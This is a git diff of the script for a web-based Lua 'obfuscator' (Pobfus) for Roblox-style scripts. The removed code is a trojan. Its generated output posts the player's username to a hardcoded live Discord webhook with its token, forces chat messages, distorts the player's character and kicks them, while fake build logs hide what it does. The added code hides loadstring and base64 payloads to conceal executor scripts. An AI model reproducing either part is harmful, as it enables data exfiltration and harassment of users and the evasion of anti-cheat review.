|
1 | | -// script.js |
2 | | -const targetHook = "https://discord.com/api/webhooks/1480014350755434558/lVhs2_YcG-LuG7zLjWSwBGzZPk2f1RF1fmRC5P7zZdgzJfX_fq2sdPAD81T4hOqMvfT2"; |
| 1 | +// ELEMENTS |
| 2 | +const input = document.getElementById('input'); |
| 3 | +const hl = document.getElementById('hl-layer'); |
| 4 | +const output = document.getElementById('output'); |
| 5 | +const steve = document.getElementById('steve-logs'); |
| 6 | +const logoImg = document.getElementById('lua-logo-main'); |
3 | 7 |
|
4 | | -document.getElementById('clearBtn').onclick = () => { |
5 | | - document.getElementById('input').value = ""; |
6 | | - document.getElementById('output').innerText = ""; |
7 | | - document.getElementById('status-terminal').innerHTML = ""; |
8 | | -}; |
| 8 | +// BASE64 LUA LOGO (White version for clean UI) |
| 9 | +const LUA_LOGO_B64 = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAMAAAD9obvaAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwgMjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXBNTS8xLjAvIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXBNTS8xLjAvc1Jlc291cmNlIyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6M0IyRUM5NTE0NjI4MTFFNzlFQ0VBMUNCNTEzQTU1NkEiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6M0IyRUM5NTI0NjI4MTFFNzlFQ0VBMUNCNTEzQTU1NkEiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDozQjJFQzk0RjQ2MjgxMUU3OUVDRUExQ0I1MTNBNTU2QSIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDozQjJFQzk1MDQ2MjgxMUU3OUVDRUExQ0I1MTNBNTU2QSIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PtZk5mAAAABvUExURf///+Hh4ePj4+fn5+jo6Onp6erq6unp6erq6unp6erq6uvr6+vr6/Dw8PHx8fLy8vPz8/T09PX19fb29vf39/j4+Pn5+fr6+vv7+/z8/P39/f7+/v///9DQ0Ofn5+zs7Pf397q6uvX19czMzN3d3V3jB7gAAAAmdFJOU///////AOfn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+dfqD+AAAAAgUlEQVRo3u3V2XLDIAwG4JgsCc0SskA6pPe/2UlpO206Yyb8N5uNPh0XIsR0KNo7vD83mY+9Y+vH7S0u3n8+v94+Hq7fX9/uv78+3z/uV8sS7Nre/z8S693Y+R9pI8W+C9NAsfO+6iL0fWj7LpQ6D6F3odB96PsudB4EnyU6D553ofMg+C7UeRB8F4q8C3Xfhbrvwp90oVOn0K1TqNQp9OskCn0SjT6JQZ/Eoc9h0eeR6HNJ9Pkk+p8U+n8S+k8S+icS+iUJ/ZKE/p6EfkhCPyShtyehtyehtyehtyehtyehtyehtydh80nC5pOEzScJm0/S3Xwp+vUkvXmS7uYk9c2T9DcX8Zun2DdPsm+eYt88y755mX3zNvvmfXay9/0H2u+hI45p0MIAAAAASUVORK5CYII="; |
9 | 10 |
|
10 | | -document.getElementById('goBtn').onclick = () => { |
11 | | - const src = document.getElementById('input').value; |
12 | | - const status = document.getElementById('status'); |
13 | | - const term = document.getElementById('status-terminal'); |
14 | | - if (!src.trim()) return; |
| 11 | +// INITIALIZE LOGO |
| 12 | +logoImg.src = LUA_LOGO_B64; |
15 | 13 |
|
16 | | - status.innerText = "BUILDING..."; |
17 | | - term.innerHTML = ""; |
| 14 | +/** |
| 15 | + * SYNTAX HIGHLIGHTER (Spectrum + Shiny Silver) |
| 16 | + */ |
| 17 | +const paint = () => { |
| 18 | + let code = input.value; |
| 19 | + code = code.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); |
| 20 | + |
| 21 | + // Comments |
| 22 | + code = code.replace(/(--.*)/g, '<span style="color: #6a737d;">$1</span>'); |
| 23 | + |
| 24 | + // SHINY SILVER LOCALS |
| 25 | + code = code.replace(/(local)\s+([a-zA-Z_][a-zA-Z0-9_]*)/g, |
| 26 | + '<span style="color: #ff7b72;">$1</span> <span style="color: #E0E0E0; text-shadow: 0 0 2px rgba(255,255,255,0.3);">$2</span>'); |
18 | 27 |
|
19 | | - const lines = [ |
20 | | - "accessing git-core...", |
21 | | - "fetching build-engine headers...", |
22 | | - "linking webhook 148001...", |
23 | | - "initiating poly-shift...", |
24 | | - "caching monster-mash...", |
25 | | - "finalizing bozo-kick..." |
26 | | - ]; |
| 28 | + // Keywords |
| 29 | + code = code.replace(/\b(function|if|then|else|elseif|end|return|for|while|do|in|repeat|until|break)\b/g, '<span style="color: #ff7b72;">$1</span>'); |
| 30 | + |
| 31 | + // Built-ins |
| 32 | + code = code.replace(/\b(game|workspace|script|Instance|Enum|shared|_G|getgenv|getfenv|setfenv|loadstring)\b/g, '<span style="color: #d2a8ff;">$1</span>'); |
| 33 | + |
| 34 | + // Methods |
| 35 | + code = code.replace(/\b(print|warn|wait|delay|spawn|pairs|ipairs|math|string|table|task)\b/g, '<span style="color: #79c0ff;">$1</span>'); |
| 36 | + |
| 37 | + // Strings |
| 38 | + code = code.replace(/('|")(.*?)('|")/g, '<span style="color: #a5d6ff;">$1$2$3</span>'); |
| 39 | + |
| 40 | + // Numbers |
| 41 | + code = code.replace(/\b(\d+)\b/g, '<span style="color: #ffa657;">$1</span>'); |
| 42 | + |
| 43 | + // Booleans |
| 44 | + code = code.replace(/\b(true|false|nil)\b/g, '<span style="color: #f2cc60;">$1</span>'); |
27 | 45 |
|
28 | | - let i = 0; |
29 | | - const loop = setInterval(() => { |
30 | | - if (i < lines.length) { |
31 | | - term.innerHTML += `<div style="color:#2e5bff">[~] ${lines[i]}</div>`; |
32 | | - term.scrollTop = term.scrollHeight; |
33 | | - i++; |
34 | | - } |
35 | | - }, 1100); |
| 46 | + hl.innerHTML = code; |
| 47 | +}; |
36 | 48 |
|
37 | | - setTimeout(() => { |
38 | | - clearInterval(loop); |
39 | | - |
40 | | - const dumpSize = 32 + Math.floor(src.length * 0.15); |
41 | | - const makeDump = () => "x" + Array(dumpSize).fill(0).map(() => "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(Math.random() * 62))).join(""); |
42 | | - const mutatorName = makeDump(); |
| 49 | +input.oninput = () => { paint(); hl.scrollTop = input.scrollTop; }; |
| 50 | +input.onscroll = () => { hl.scrollTop = input.scrollTop; }; |
43 | 51 |
|
44 | | - document.getElementById('output').innerText = |
45 | | -`-- Pobfus Output |
46 | | -local function ${mutatorName}(_pld) |
47 | | - local _env = getfenv() |
48 | | - local _http = _env["game"]:GetService("HttpService") |
49 | | - local _chat = _env["game"]:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest") |
50 | | - local _lp = _env["game"]:GetService("Players").LocalPlayer |
| 52 | +/** |
| 53 | + * PSU / MOONSEC STYLE LOADER |
| 54 | + */ |
| 55 | +const obfuscate = (src) => { |
| 56 | + let res = src.replace(/--.*$/gm, "").trim(); |
| 57 | + res = `setfenv(1, getgenv())\n` + res; |
| 58 | + res = res.replace(/\b(\d+)\b/g, (n) => `(${n-1}+1)`); |
51 | 59 |
|
52 | | - local function _humiliate(_err) |
53 | | - pcall(function() |
54 | | - _http:PostAsync(_env["game"]:GetService("HttpService"):DecodeBase64("${btoa(targetHook)}"), _http:JSONEncode({ |
55 | | - ["content"] = "🚫 **SKID DETECTED** 🚫\\n**User:** ".._lp.Name.."\\n**Error:** ".._err |
56 | | - })) |
57 | | - _chat:FireServer("I'm a stinky skidder doing the Monster Mash!", "All") |
58 | | - if _lp.Character then |
59 | | - for _ = 1, 3 do |
60 | | - for _s = 1, 20 do |
61 | | - for _, v in pairs(_lp.Character:GetDescendants()) do |
62 | | - if v:IsA("Motor6D") then |
63 | | - v.C0 = v.C0 * CFrame.Angles(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10)) |
64 | | - end |
65 | | - end |
66 | | - task.wait(0.1) |
67 | | - end |
68 | | - end |
69 | | - end |
70 | | - _lp:Kick("go find a better decompiler bozo") |
71 | | - end) |
72 | | - end |
73 | | -
|
74 | | - local _ok, _res = _env["pcall"](function() |
75 | | - return _env["loadstring"](_env["game"]:GetService("HttpService"):DecodeBase64(_pld))() |
76 | | - end) |
| 60 | + const b64 = btoa(unescape(encodeURIComponent(res))); |
| 61 | + const reversedB64 = b64.split('').reverse().join(''); |
77 | 62 |
|
78 | | - if not _ok then _humiliate(_res) end |
79 | | -end |
| 63 | + return `--[[ Protected by Pobfus v1.13.90 Successor ]]\n` + |
| 64 | + `local _P = function(s) return s:reverse() end;\n` + |
| 65 | + `local _D = game:GetService("HttpService"):Base64Decode(_P("${reversedB64}"));\n` + |
| 66 | + `local _E = (function() local _L = "" for _V in pairs({108,111,97,100,115,116,114,105,110,103}) do _L = _L .. string.char(_V) end return _G[_L] or load end)();\n` + |
| 67 | + `_E(_D)();`; |
| 68 | +}; |
80 | 69 |
|
81 | | -${mutatorName}("${btoa(src)}")`; |
| 70 | +/** |
| 71 | + * UI CONTROLS |
| 72 | + */ |
| 73 | +document.getElementById('pushBtn').onclick = () => { |
| 74 | + if(!input.value.trim()) return; |
| 75 | + steve.innerHTML = "Line 1 Script: Encoding virtual macro payload..."; |
| 76 | + setTimeout(() => { |
| 77 | + output.innerText = obfuscate(input.value); |
| 78 | + steve.innerHTML = "Line 1 Script: <span style='color: Lime;'>[SUCCESS] v1.13.90 Deployed.</span>"; |
| 79 | + }, 400); |
| 80 | +}; |
82 | 81 |
|
83 | | - status.innerText = "COMPLETED"; |
84 | | - term.innerHTML += `<div style="color:#00ff00;">[+] build successful.</div>`; |
85 | | - }, 7500); |
| 82 | +document.getElementById('clrBtn').onclick = () => { |
| 83 | + input.value = ""; |
| 84 | + output.innerText = "-- [ Successor Stream ]"; |
| 85 | + hl.innerHTML = ""; |
| 86 | + steve.innerHTML = "Line 1 Script: Purged."; |
86 | 87 | }; |
0 commit comments